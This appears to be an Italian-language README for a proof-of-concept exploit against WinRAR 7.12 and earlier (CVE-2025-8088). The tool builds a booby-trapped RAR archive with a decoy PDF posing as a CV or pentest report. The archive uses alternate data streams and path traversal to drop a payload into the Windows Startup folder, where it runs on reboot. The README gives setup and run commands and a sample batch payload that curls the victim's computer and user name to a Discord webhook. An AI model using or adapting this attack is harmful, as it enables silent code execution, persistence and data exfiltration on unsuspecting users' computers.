CVE-2025-8088 WinRAR Exploit 🔓

Una proof-of-concept exploit per la vulnerabilità WinRAR (CVE-2025-8088) che interessa le versioni 7.12 e precedenti. Questo strumento crea un archivio RAR malevolo che incorpora payload in Alternate Data Streams (ADS) con path traversal, portando potenzialmente all'esecuzione di codice arbitrario.

• Il problema di molti altri è che non incorporano più stream ADS, richiedendo o fortuna nell'avere il path traversal giusto o la conoscenza esatta del nome utente/directory di estrazione.

🚀 Come Funziona

1. Crea un Documento Esca 📄 - Genera un PDF dall'aspetto professionale (CV o report di pentest)
2. Incorpora Più Stream ADS 🔄 - Allega stream di payload con diverse profondità di path traversal
3. Manipola le Intestazioni RAR ⚙️ - Modifica la struttura dell'archivio per sfruttare la vulnerabilità di path traversal
4. Rilascia il Payload in Avvio 📂 - Tenta di scrivere il payload nella cartella di avvio di Windows quando viene estratto

🛠️ Utilizzo

# Clone the repository
git clone https://github.com/techcorp/CVE-2025-8088-Exploit.git
cd best-CVE-2025-8088

# Install dependencies
pip install reportlab

# Run the exploit
python CVE-2025-8088.py

✏️ Personalizzazione del Payload

Modifica il payload per chiamare un webhook di Discord:

# Replace the PAYLOAD variable in the script:
PAYLOAD = """@echo off
curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Extracted on %COMPUTERNAME% by %USERNAME%\"}" YOUR_DISCORD_WEBHOOK_URL
pause
"""

Sostituisci YOUR_DISCORD_WEBHOOK_URL con il tuo URL webhook effettivo.

🔄 Flusso di Esecuzione

1. La vittima estrae il RAR con WinRAR vulnerabile (≤7.12)
2. Il payload viene scritto nella cartella di avvio:

   AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
   

3. Al riavvio successivo ➡️ il payload viene eseguito automaticamente

📋 Requisiti

• Sistema operativo Windows 🪟
• Python 3.x 🐍
• WinRAR installato
• Libreria ReportLab (pip install reportlab)